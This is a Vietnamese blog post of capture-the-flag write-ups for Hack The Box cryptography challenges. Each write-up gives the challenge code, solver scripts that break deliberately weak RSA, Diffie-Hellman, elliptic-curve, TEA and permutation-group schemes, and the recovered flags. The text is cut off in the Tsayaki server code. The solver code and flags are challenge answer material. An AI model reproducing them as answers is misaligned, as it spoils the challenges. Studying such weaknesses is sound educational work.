Try   HackMD

Rank

  • Sau mấy ngày đấm HTB thì mình được bú win các anh khá lỏ. Dưới đây sẽ là toàn bộ writeups của mình, 10 challs Crypto và 3 challs Blockchain lỏ :monkey:

I. Crypto

1. Makeshift

Description

  • Challenge code:
from secret import FLAG flag = FLAG[::-1] new_flag = '' for i in range(0, len(flag), 3): new_flag += flag[i+1] new_flag += flag[i+2] new_flag += flag[i] print(new_flag)
  • Challenge output:
!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB

Solution

  • Đây là một chall khá dễ và hầu như mình không cần suy nghĩ nhiều, chỉ cần phân tích source và viết công thức ra là được. Có được:
msg = flag[1] + flag[2] + flag[0] + flag[4] + flag[5] + flag[3] + ...
  • Các vị trí sẽ so le nhau và chỉ cần sắp xếp lại là ta có được flag:
msg = "!?}De!e3d_5n_nipaOw_3eTR3bt4{_THB" flag = '' for i in range(0, len(msg), 3): flag += msg[i+2] flag += msg[i] flag += msg[i+1] print(flag[::-1])

Flag

HTB{4_b3tTeR_w3apOn_i5_n3edeD!?!}


2. Dynastic

Description

  • Challenge code:
from secret import FLAG from random import randint def to_identity_map(a): return ord(a) - 0x41 def from_identity_map(a): return chr(a % 26 + 0x41) def encrypt(m): c = '' for i in range(len(m)): ch = m[i] if not ch.isalpha(): ech = ch else: chi = to_identity_map(ch) ech = from_identity_map(chi + i) c += ech return c with open('output.txt', 'w') as f: f.write('Make sure you wrap the decrypted text with the HTB flag format :-]\n') f.write(encrypt(FLAG))
  • Challenge output:
Make sure you wrap the decrypted text with the HTB flag format :-] DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL

Solution

  • Về cơ bản thì chall này không khó, nhưng code thuật toán làm phức tạp hóa lên thui. Đại loại là mã hóa từ đầu đến cuối flag, kí tự đó không trong bảng chữ cái thì in luôn ra, còn không thì map nó thành một kí tự khác, không khác gì substitution cipher.
  • Để giải cũng chẳng cần suy nghĩ, chỉ cần thay đổi chi + i trong hàm encrypt() thành chi - i là có được ngay hàm decrypt(), vậy ta có code:
def to_identity_map(a): return ord(a) - 0x41 def from_identity_map(a): return chr(a % 26 + 0x41) def decrypt(ciphertext): m = '' for i in range(len(ciphertext)): ch = ciphertext[i] if not ch.isalpha(): m += ch else: chi = to_identity_map(ch) m += from_identity_map(chi - i) return m encrypted_flag = 'DJF_CTA_SWYH_NPDKK_MBZ_QPHTIGPMZY_KRZSQE?!_ZL_CN_PGLIMCU_YU_KJODME_RYGZXL' flag = 'HTB{?}' print(flag.replace('?', decrypt(encrypted_flag)))

Flag

HTB{DID_YOU_KNOW_ABOUT_THE_TRITHEMIUS_CIPHER?!_IT_IS_SIMILAR_TO_CAESAR_CIPHER}


3. Primary Knowledge

Description

  • Challenge code:
import math from Crypto.Util.number import getPrime, bytes_to_long from secret import FLAG m = bytes_to_long(FLAG) n = math.prod([getPrime(1024) for _ in range(2**0)]) e = 0x10001 c = pow(m, e, n) with open('output.txt', 'w') as f: f.write(f'{n = }\n') f.write(f'{e = }\n') f.write(f'{c = }\n')
  • Challenge output:
n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347 e = 65537 c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215

Solution

  • Trước tiên đọc source mình biết được n là một số nguyên tố lỏ 1024 bits, tới đây thì mình vác đi giải luôn. Đơn giản vì khi n là số nguyên tố, phi hàm Euler fn của n sẽ chính bằng n-1, lí do tại sao thì hướng dẫn sử dụng phi hàm Euler đã có (dùng để đếm số các số co-prime với một số cho trước).
  • Tới code luôn thôi vì ai cũng biết tính d bằng cách nào:
from Crypto.Util.number import * n = 144595784022187052238125262458232959109987136704231245881870735843030914418780422519197073054193003090872912033596512666042758783502695953159051463566278382720140120749528617388336646147072604310690631290350467553484062369903150007357049541933018919332888376075574412714397536728967816658337874664379646535347 e = 65537 c = 15114190905253542247495696649766224943647565245575793033722173362381895081574269185793855569028304967185492350704248662115269163914175084627211079781200695659317523835901228170250632843476020488370822347715086086989906717932813405479321939826364601353394090531331666739056025477042690259429336665430591623215 d = inverse(e, n-1) flag = long_to_bytes(pow(c, d, n)).decode() print(flag)

Flag

HTB{0h_d4mn_4ny7h1ng_r41s3d_t0_0_1s_1!!!}


4. Blunt

Description

  • Challenge code:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import getPrime, long_to_bytes from hashlib import sha256 from secret import FLAG import random p = getPrime(32) print(f'p = 0x{p:x}') g = random.randint(1, p-1) print(f'g = 0x{g:x}') a = random.randint(1, p-1) b = random.randint(1, p-1) A, B = pow(g, a, p), pow(g, b, p) print(f'A = 0x{A:x}') print(f'B = 0x{B:x}') C = pow(A, b, p) assert C == pow(B, a, p) # now use it as shared secret hash = sha256() hash.update(long_to_bytes(C)) key = hash.digest()[:16] iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print(f'ciphertext = {encrypted}')
  • Challenge output:
p = 0xdd6cc28d g = 0x83e21c05 A = 0xcfabb6dd B = 0xc4a21ba9 ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{'

Solution

  • Tới bài này thì mức độ đã được nâng lên một chút (từ very easy thành easy :penguin:), về cơ bản đây là một giao thức mà ai học Crypto cũng biết: DH. Do bài cho các params cực bé nên mình có thể phang thẳng dlog vào bài mà không cần lo nghĩ gì cả. Cụ thể code như sau:
from sympy import discrete_log from hashlib import sha256 from Crypto.Util.number import long_to_bytes from Crypto.Util.Padding import unpad from Crypto.Cipher import AES ''' A = g^a (mod p) B = g^b (mod p) C = g^a^b (mod p) = A^b (mod p) ''' p = 0xdd6cc28d g = 0x83e21c05 A = 0xcfabb6dd B = 0xc4a21ba9 ciphertext = b'\x94\x99\x01\xd1\xad\x95\xe0\x13\xb3\xacZj{\x97|z\x1a(&\xe8\x01\xe4Y\x08\xc4\xbeN\xcd\xb2*\xe6{' iv = b'\xc1V2\xe7\xed\xc7@8\xf9\\\xef\x80\xd7\x80L*' a = discrete_log(p, A, g) b = discrete_log(p, B, g) assert pow(A, b, p) == pow(B, a, p) C = pow(A, b, p) hash = sha256() hash.update(long_to_bytes(C)) key = hash.digest()[:16] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(ciphertext), 16) print(flag.decode())

Flag

HTB{y0u_n3ed_a_b1gGeR_w3ap0n!!}


5. Iced TEA

Description

  • Challenge code:
import os from secret import FLAG from Crypto.Util.Padding import pad from Crypto.Util.number import bytes_to_long as b2l, long_to_bytes as l2b from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def encrypt(self, msg): msg = pad(msg, self.BLOCK_SIZE//8) blocks = [msg[i:i+self.BLOCK_SIZE//8] for i in range(0, len(msg), self.BLOCK_SIZE//8)] ct = b'' if self.mode == Mode.ECB: for pt in blocks: ct += self.encrypt_block(pt) elif self.mode == Mode.CBC: X = self.IV for pt in blocks: enc_block = self.encrypt_block(self._xor(X, pt)) ct += enc_block X = enc_block return ct def encrypt_block(self, msg): m0 = b2l(msg[:4]) m1 = b2l(msg[4:]) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 s = 0 for i in range(32): s += self.DELTA m0 += ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk m1 += ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m = ((m0 << (self.BLOCK_SIZE//2)) + m1) & ((1 << self.BLOCK_SIZE) - 1) # m = m0 || m1 return l2b(m) if __name__ == '__main__': KEY = os.urandom(16) cipher = Cipher(KEY) ct = cipher.encrypt(FLAG) with open('output.txt', 'w') as f: f.write(f'Key : {KEY.hex()}\nCiphertext : {ct.hex()}')
  • Challenge output:
Key : 850c1413787c389e0b34437a6828a1b2 Ciphertext : b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843

Solution

  • Trước hết đọc source thì mình biết đây là một loại mã hóa khối tự chế. Nhược điểm của thuật toán trong source có thể thấy rõ do khuyết đi tính confusion and diffusion trong mã hóa đối xứng. Chính vì vậy mình có thể tự gen một hàm decrypt() sử dụng để giải mã.
  • Nhờ chatGPT gen code và lắp ghép vào là mình đã có code solution :ok_hand::
from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l from Crypto.Util.Padding import unpad from enum import Enum class Mode(Enum): ECB = 0x01 CBC = 0x02 class Cipher: def __init__(self, key, iv=None): self.BLOCK_SIZE = 64 self.KEY = [b2l(key[i:i+self.BLOCK_SIZE//16]) for i in range(0, len(key), self.BLOCK_SIZE//16)] self.DELTA = 0x9e3779b9 self.IV = iv if self.IV: self.mode = Mode.CBC else: self.mode = Mode.ECB def _xor(self, a, b): return b''.join(bytes([_a ^ _b]) for _a, _b in zip(a, b)) def decrypt(self, ciphertext): blocks = [ciphertext[i:i+self.BLOCK_SIZE//8] for i in range(0, len(ciphertext), self.BLOCK_SIZE//8)] pt = b'' if self.mode == Mode.ECB: for ct_block in blocks: pt += self.decrypt_block(ct_block) elif self.mode == Mode.CBC: X = self.IV for ct_block in blocks: dec_block = self.decrypt_block(ct_block) pt += self._xor(X, dec_block) X = ct_block return pt def decrypt_block(self, ciphertext): c = b2l(ciphertext) K = self.KEY msk = (1 << (self.BLOCK_SIZE//2)) - 1 m0 = c >> (self.BLOCK_SIZE//2) m1 = c & ((1 << (self.BLOCK_SIZE//2)) - 1) s = self.DELTA * 32 for i in range(32): m1 -= ((m0 << 4) + K[2]) ^ (m0 + s) ^ ((m0 >> 5) + K[3]) m1 &= msk m0 -= ((m1 << 4) + K[0]) ^ (m1 + s) ^ ((m1 >> 5) + K[1]) m0 &= msk s -= self.DELTA m = (m0 << (self.BLOCK_SIZE//2)) | m1 return l2b(m) key = '850c1413787c389e0b34437a6828a1b2' ct = 'b36c62d96d9daaa90634242e1e6c76556d020de35f7a3b248ed71351cc3f3da97d4d8fd0ebc5c06a655eb57f2b250dcb2b39c8b2000297f635ce4a44110ec66596c50624d6ab582b2fd92228a21ad9eece4729e589aba644393f57736a0b870308ff00d778214f238056b8cf5721a843' key, ct = bytes.fromhex(key), bytes.fromhex(ct) cipher = Cipher(key) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)

Flag

HTB{th1s_1s_th3_t1ny_3ncryp710n_4lg0r1thm_____y0u_m1ght_h4v3_4lr34dy_s7umbl3d_up0n_1t_1f_y0u_d0_r3v3rs1ng}

Note

  • Ban đầu mình cũng định giải mã bằng cách tự phân tích thuật toán và viết hàm nhưng do quá lười nên mình skip :penguin:

6. Arranged

Description

  • Challenge code:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from secret import FLAG, p, b, priv_a, priv_b F = GF(p) E = EllipticCurve(F, [726, b]) G = E(926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = G * priv_a B = G * priv_b print(A) print(B) C = priv_a * B assert C == priv_b * A # now use it as shared secret secret = C[0] hash = sha256() hash.update(long_to_bytes(secret)) key = hash.digest()[16:32] iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en' cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print(encrypted)
  • Challenge output:
(6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997 : 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696 : 1) (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734 : 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865 : 1) b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab'

Solution

  • Well đến đây thì chall đã sang một mức độ khác là medium (nhưng cũng không quá khó). Đọc source mình biết được bài sử dụng ECC và giao thức là DH-ECC. Đề đã cung cấp ivenc, thứ mình cần tìm lại là key.
  • Ở đây, key cũng chính là shared_secret trong các dạng bài giao thức khóa DH quen thuộc, và vấn đề nằm ở hai khóa riêng priv_apriv_b (chỉ cần tìm một trong hai là có thể giải được bài rồi). Tuy nhiên, bài không define cho ta một ellip cụ thể, rõ ràng mình cần tìm lại ellip này.
  • Ta biết được 3 điểm G, AB đều thuộc ellip xét trong trường Fp, cụ thể tọa độ của 3 điểm này sẽ thỏa mãn phương trình của ellip, hay:
y_G ^ 2 = x_G ^ 3 + 726*x_G + b (mod p) (1) y_A ^ 2 = x_A ^ 3 + 726*x_A + b (mod p) (2) y_B ^ 2 = x_B ^ 3 + 726*x_B + b (mod p) (3)
  • Tại đây ta cần tìm lại hệ số b và trường của ellip. Trừ phương trình (1) cho (2) và (3) và chuyển vế, ta thu được 2 phương trình dạng left = 0 (mod p), lấy GCD của hai cái left này giúp mình tìm lại p, đồng thời giải luôn được b:
ef L(P): x, y = P[0], P[1] return y**2 - x**3 - 726*x G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696) B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865) p = GCD(L(G) - L(A), L(G) - L(B)) b = L(G) % p assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p
  • Ta đã recover lại được ellip, giờ cần tìm priv_a hoặc priv_b. Mình đã nghĩ tới ý tưởng áp dụng Smart's Attack nhưng khi check lại thì điều kiện E.order() == p bị sai. Đánh liều dlog ra thì lại làm được :penguin::
F = GF(p) E = EllipticCurve(F, [726, b]) G, A, B = E(G), E(A), E(B) priv_a = discrete_log(A, G, operation='+')
  • Chạy hơi lâu chút nhưng cuối cùng sẽ ra được priv_a = 4, đem đi giải key là xong (ai ngựa ngựa có thể tìm luôn priv_b rồi assert thử xem đúng hay sai).
  • Full code:
from Crypto.Util.number import * from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from Crypto.Util.number import long_to_bytes from hashlib import sha256 def L(P): x, y = P[0], P[1] return y**2 - x**3 - 726*x G = (926644437000604217447316655857202297402572559368538978912888106419470011487878351667380679323664062362524967242819810112524880301882054682462685841995367, 4856802955780604241403155772782614224057462426619061437325274365157616489963087648882578621484232159439344263863246191729458550632500259702851115715803253) A = (6174416269259286934151093673164493189253884617479643341333149124572806980379124586263533252636111274525178176274923169261099721987218035121599399265706997, 2456156841357590320251214761807569562271603953403894230401577941817844043774935363309919542532110972731996540328492565967313383895865130190496346350907696) B = (4226762176873291628054959228555764767094892520498623417484902164747532571129516149589498324130156426781285021938363575037142149243496535991590582169062734, 425803237362195796450773819823046131597391930883675502922975433050925120921590881749610863732987162129269250945941632435026800264517318677407220354869865) p = GCD(L(G) - L(A), L(A) - L(B)) b = L(G) % p assert (G[1]**2) % p == (G[0]**3 + 726*G[0] + b) % p assert (A[1]**2) % p == (A[0]**3 + 726*A[0] + b) % p assert (B[1]**2) % p == (B[0]**3 + 726*B[0] + b) % p F = GF(p) E = EllipticCurve(F, [726, b]) G, A, B = E(G), E(A), E(B) # priv_a = discrete_log(A, G, operation='+') priv_a = 4 shared_secret = (B * priv_a).xy()[0] hash = sha256() hash.update(long_to_bytes(int(shared_secret))) key = hash.digest()[16:32] ciphertext = b'V\x1b\xc6&\x04Z\xb0c\xec\x1a\tn\xd9\xa6(\xc1\xe1\xc5I\xf5\x1c\xd3\xa7\xdd\xa0\x84j\x9bob\x9d"\xd8\xf7\x98?^\x9dA{\xde\x08\x8f\x84i\xbf\x1f\xab' iv = b'u\x8fo\x9aK\xc5\x17\xa7>[\x18\xa3\xc5\x11\x9en' cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(ciphertext), 16) print(flag.decode())

Flag

HTB{0rD3r_mUsT_b3_prEs3RveD_!!@!}

Note

  • Mình chưa thử làm cách khác nhưng cơ bản thì cách này là đủ để giải rồi nhỉ :penguin:. Nói vậy thôi nhưng cách giải chủ yếu là tính dlog, tuy nhiên một điều khá hay mà có thể nhiều người bỏ qua là G.order() = 11, đồng nghĩa với việc ta có thể brute force các giá trị của a trong đoạn [1; 11] và tiếp tục giải.

7. Partial Tenacity

Description

  • Challenge code:
from secret import FLAG from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP class RSACipher: def __init__(self, bits): self.key = RSA.generate(bits) self.cipher = PKCS1_OAEP.new(self.key) def encrypt(self, m): return self.cipher.encrypt(m) def decrypt(self, c): return self.cipher.decrypt(c) cipher = RSACipher(1024) enc_flag = cipher.encrypt(FLAG) with open('output.txt', 'w') as f: f.write(f'n = {cipher.key.n}\n') f.write(f'ct = {enc_flag.hex()}\n') f.write(f'p = {str(cipher.key.p)[::2]}\n') f.write(f'q = {str(cipher.key.q)[1::2]}')
  • Challenge output:
n = 124489602600121701274548809815923584607837171501534880261503180856938186391623267155644651085143459140143217303598468742852882882427469507691050712387595895502373303396701424516638188457555247307277206394398562666677288285701252034906810402407918122597636299856574712902166065585733567177021600418361645177173 ct = 1f287749a7dae2256bec91f58c614d57471ad05ccadc6f6923b46798571db3c623dd14157e8b909ed1fbba3af6e0dec562b120a64f261da0f591504b03c99054eed8b698725b6707c5250cce0308a289a83a8ff89790e845f6aab43a0e9419ba843cc729aeef3ad39ce23f17ad30c3a2e7743c5007d2f684019efbadf1592aad p = 171539328165412321875748057028552243899150327277402310685789246185479388035679 q = 12370078203860528037238299503161295765194367399450231656330777573089075282486

Solution

  • Bài này làm mình khá nản lúc đầu nhưng may có anh Tuệ support nên đã làm được. Bài thuộc một dạng RSA với partial known bits (nói là bits thôi nhưng thực ra các số pq đã bị khuyết mất các chữ số).
  • Mình đã biết được pq kia chính là các số còn lại sau khi thay đổi p, q ban đầu. Cụ thể với p từ vị trí [0] đến cuối thì cách một chữ số lại xóa đi một lần, q thì xuất phát từ vị trí [1].
  • Để làm được bài này thì mình cần sử dụng một chút toán tiểu học và logic. Xét phép nhân p * q == n, theo như cách nhân từng học thì:
p[-1] * q[-1] == n[-1]
p[-2] * q[-2] == n[-2]
...
  • Nếu kết quả vượt quá 10 thì nhớ và lấy chữ số hàng đơn vị rồi cộng phần nhớ cho hàng tiếp theo, cụ thể như sau:
Giả sử có:
p[-1] = 3, p[-2] = 2
q[-1] = 5, q[-2] = 3
thì :
    n[-1] = 3 * 5 = 15, viết 5 nhớ 1
    n[-2] = 2 * 3 = 6, nhớ 1 là 7
nhận được n[-1] = 5 và n[-2] = 7
  • Bản chất chính là:
n[-1] = p[-1] * q[-1] (mod 10)
n[-2] = p[-1] * q[-1] + n[-1] // 10 (mod 10)
...
  • Vì vậy áp dụng logic trên, ta có thể recover lại toàn bộ số pq, code hơi khó một chút nhưng khá hay. Idea ở đây là thử từng trường hợp vào chỗ khuyết rồi nhân lại xem thỏa mãn hay không.
  • Full code:
from Crypto.Util.number import * from Crypto.Cipher import PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.PublicKey.RSA import RsaKey class RSACipher: def __init__(self, bits): self.key = RsaKey(n=n, e=e, d=inverse(e, (p-1)*(q-1)), p=p, q=q, u=inverse(p, q)) self.cipher = PKCS1_OAEP.new(self.key) def decrypt(self, c): return self.cipher.decrypt(c) e = 65537 n = 118641897764566817417551054135914458085151243893181692085585606712347004549784923154978949512746946759125187896834583143236980760760749398862405478042140850200893707709475167551056980474794729592748211827841494511437980466936302569013868048998752111754493558258605042130232239629213049847684412075111663446003 ct = '7f33a035c6390508cee1d0277f4712bf01a01a46677233f16387fae072d07bdee4f535b0bd66efa4f2475dc8515696cbc4bc2280c20c93726212695d770b0a8295e2bacbd6b59487b329cc36a5516567b948fed368bf02c50a39e6549312dc6badfef84d4e30494e9ef0a47bd97305639c875b16306fcd91146d3d126c1ea476' c = int(ct, 16) leak_p = '1_5_1_4_4_1_4_7_3_3_5_7_1_3_6_1_5_2_9_8_5_2_1_6_9_8_0_3_9_7_5_2_5_5_9_1_3_0_5_8_7_5_0_9_4_2_8_8_7_3_8_8_2_0_6_9_9_0_6_9_2_7_1_6_7_4_0_2_2_1_6_7_9_0_2_6_4_3' leak_q = '_1_5_6_2_4_3_4_2_0_0_5_7_7_4_1_6_6_5_2_5_0_2_4_6_0_8_0_6_7_4_2_6_5_5_7_0_9_3_5_6_7_3_9_2_6_5_2_7_2_3_1_7_5_3_0_1_6_1_5_4_2_2_3_8_4_5_0_8_2_7_4_2_6_9_3_0_5_' leak_p = leak_p.replace('_', '0') leak_q = leak_q.replace('_', '0') pq = {(int(leak_p), int(leak_q))} TH = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] for i in range(155//2 + 1): trials = set() for p, q in pq: for _p in TH: temp_p = p + _p*pow(10, 2*i + 1) for _q in TH: temp_q = q + _q*pow(10, 2*i) mod = pow(10, 2*i + 2) if (temp_p * temp_q) % mod != n % mod: continue trials.add((temp_p, temp_q)) pq = trials p = list(pq)[0][0] q = list(pq)[0][1] assert p*q == n cipher = RSACipher(1024) flag = cipher.decrypt(long_to_bytes(int(ct, 16))).decode() print(flag)

Flag

HTB{v3r1fy1ng_pr1m3s_m0dul0_p0w3rs_0f_10!}

Note

  • Code được tài trợ bởi anh Tuệ, shout-out :fire:

8. Permuted

Description

  • Challenge code:
from Crypto.Cipher import AES from Crypto.Util.Padding import pad from Crypto.Util.number import long_to_bytes from hashlib import sha256 from random import shuffle from secret import a, b, FLAG class Permutation: def __init__(self, mapping): self.length = len(mapping) assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions self.mapping = list(mapping) def __call__(self, *args, **kwargs): idx, *_ = args assert idx in range(self.length) return self.mapping[idx] def __mul__(self, other): ans = [] for i in range(self.length): ans.append(self(other(i))) return Permutation(ans) def __pow__(self, power, modulo=None): ans = Permutation.identity(self.length) ctr = self while power > 0: if power % 2 == 1: ans *= ctr ctr *= ctr power //= 2 return ans def __str__(self): return str(self.mapping) def identity(length): return Permutation(range(length)) x = list(range(50_000)) shuffle(x) g = Permutation(x) print('g =', g) A = g**a print('A =', A) B = g**b print('B =', B) C = A**b assert C.mapping == (B**a).mapping sec = tuple(C.mapping) sec = hash(sec) sec = long_to_bytes(sec) hash = sha256() hash.update(sec) key = hash.digest()[16:32] iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9" cipher = AES.new(key, AES.MODE_CBC, iv) encrypted = cipher.encrypt(pad(FLAG, 16)) print('c =', encrypted)

Solution

  • Với mình thì chall này khá lỏ, google đã có nhưng không thèm osint nên mất khá nhiều time để solve. Về cơ bản thì bài cũng sử dụng giao thức DH nhưng thay vì ECC hay dlog như hai chall trên thì là Permuted. Dạng này khá mới với mình nhưng được mọi người support nên cũng đấm được.
  • Như hai bài trên, ta vẫn cần tìm lại key, cụ thể là tìm priv_a hoặc priv_b. Đọc source thì biết được phép toán trang bị trong nhóm Permuted này, bên cạnh đó, qua việc test nhiều lần thì mình nhận ra các phần tử trong nhóm Permuted này đều có các vòng giao hoán của nó, tạm gọi là order.
  • order ở đây là số k nhỏ nhất sao cho g**k = g, cái này khá giống với order trong định nghĩa nhóm. Vậy tại sao mình lại phân tích yếu tố order này?
  • Dựa vào hai paper nàycả này nữa, mình khá chắc có thể thực hiện dlog để tìm lại key. Nhưng dlog ở đây chỉ có approach giống Pohlig-Hellman, không phải hoàn toàn giống. Mình sẽ vẫn tìm lại order rồi factor, giải các phương trình nhỏ rồi dùng CRT để output ra kết quả cuối cùng.
  • Để tìm a thỏa A = g**a, trước tiên mình sẽ thử tính g.order(). Hàm order() này có thể dùng trong sage hoặc tự viết cũng được, nhưng cuối cùng sẽ tìm được: g.order() = 3311019189498977856900
  • Khi factor g.order() mình nhận được ước số khá bé, rất dễ dàng cho thuật toán Pohlig-Hellman trong Sn (Symmetric Group). Cụ thể code để tìm lại dlog như sau:
from output import g, A, B from sage.all import * g = PermutationGroupElement(Permutation([i+1 for i in g])) A = PermutationGroupElement(Permutation([i+1 for i in A])) B = PermutationGroupElement(Permutation([i+1 for i in B])) o = g.order() a = [] b = [] for p,e in factor(o): tg = g^(ZZ(o/p^e)) tA = A^(ZZ(o/p^e)) tB = B^(ZZ(o/p^e)) for i in range(p^e): if tg^i==tA: a.append([i,p^e]) for i in range(p^e): if tg^i==tB: b.append([i,p^e]) print(a) print(b) a = crt([i[0] for i in a],[i[1] for i in a]) b = crt([i[0] for i in b],[i[1] for i in b])

(Nhớ dùng trong sage)

  • Khi tìm lại được cả ab mình đã assert oke đồng nghĩa với approach mình đúng và có thể giải flag dễ dàng rồi.
  • Full code:
from output import g, A, B from hashlib import sha256 from Crypto.Util.number import * from Crypto.Util.Padding import unpad from Crypto.Cipher import AES g = PermutationGroupElement(Permutation([i+1 for i in g])) A = PermutationGroupElement(Permutation([i+1 for i in A])) B = PermutationGroupElement(Permutation([i+1 for i in B])) o = g.order() a = [] b = [] for p,e in factor(o): tg = g^(ZZ(o/p^e)) tA = A^(ZZ(o/p^e)) tB = B^(ZZ(o/p^e)) for i in range(p^e): if tg^i==tA: a.append([i,p^e]) for i in range(p^e): if tg^i==tB: b.append([i,p^e]) a = crt([i[0] for i in a],[i[1] for i in a]) b = crt([i[0] for i in b],[i[1] for i in b]) assert g^a == A assert g^b == B class Permutationx: def __init__(self, mapping): self.length = len(mapping) assert set(mapping) == set(range(self.length)) # ensure it contains all numbers from 0 to length-1, with no repetitions self.mapping = list(mapping) def __call__(self, *args, **kwargs): idx, *_ = args assert idx in range(self.length) return self.mapping[idx] def __mul__(self, other): ans = [] for i in range(self.length): ans.append(self(other(i))) return Permutationx(ans) def __pow__(self, power, modulo=None): ans = Permutationx.identity(self.length) ctr = self while power > 0: if power % 2 == 1: ans *= ctr ctr *= ctr power //= 2 return ans def __str__(self): return str(self.mapping) def identity(length): return Permutationx(range(length)) from output import g, A, B g = Permutationx(g) assert str(g**a) == str(A) and str(g**b) == str(B) A, B = Permutationx(A), Permutationx(B) C = A**b assert C.mapping == (B**a).mapping sec = tuple(C.mapping) sec = hash(sec) sec = long_to_bytes(sec) hash = sha256() hash.update(sec) key = hash.digest()[16:32] enc = b'\x89\xba1J\x9c\xfd\xe8\xd0\xe5A*\xa0\rq?!wg\xb0\x85\xeb\xce\x9f\x06\xcbG\x84O\xed\xdb\xcd\xc2\x188\x0cT\xa0\xaaH\x0c\x9e9\xe7\x9d@R\x9b\xbd' iv = b"mg'g\xce\x08\xdbYN2\x89\xad\xedlY\xb9" cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(enc), 16).decode() print(flag)

Flag

HTB{w3lL_n0T_aLl_gRoUpS_aRe_eQUaL_!!}

Note

  • Bài này khá hay đối với mình vì mở mang cho mình khá nhiều kiến thức, bên cạnh đó mình cũng tham khảo official writeup ở bài này của bác makelariss cũng khá hay. Shout-out :fire:
  • Thêm một nguồn tham khảo nữa là bài này cũng hay không kém :fire:

9. Tsayaki

Description

  • Server code:
from tea import Cipher as TEA from secret import IV, FLAG import os ROUNDS = 10 def show_menu(): print(""" ============================================================================================ || I made this decryption oracle in which I let users choose their own decryption keys. || || I think that it's secure as the tea cipher doesn't produce collisions (?) ... Right? || || If you manage to prove me wrong 10 times, you get a special gift. || ============================================================================================ """) def run(): show_menu() server_message = os.urandom(20) print(f'Here is my special message: {server_message.hex()}') used_keys = [] ciphertexts = [] for i in range(ROUNDS): print(f'Round {i+1}/10') try: ct = bytes.fromhex(input('Enter your target ciphertext (in hex) : ')) assert ct not in ciphertexts for j in range(4): key = bytes.fromhex(input(f'[{i+1}/{j+1}] Enter your encryption key (in hex) : ')) assert len(key) == 16 and key not in used_keys 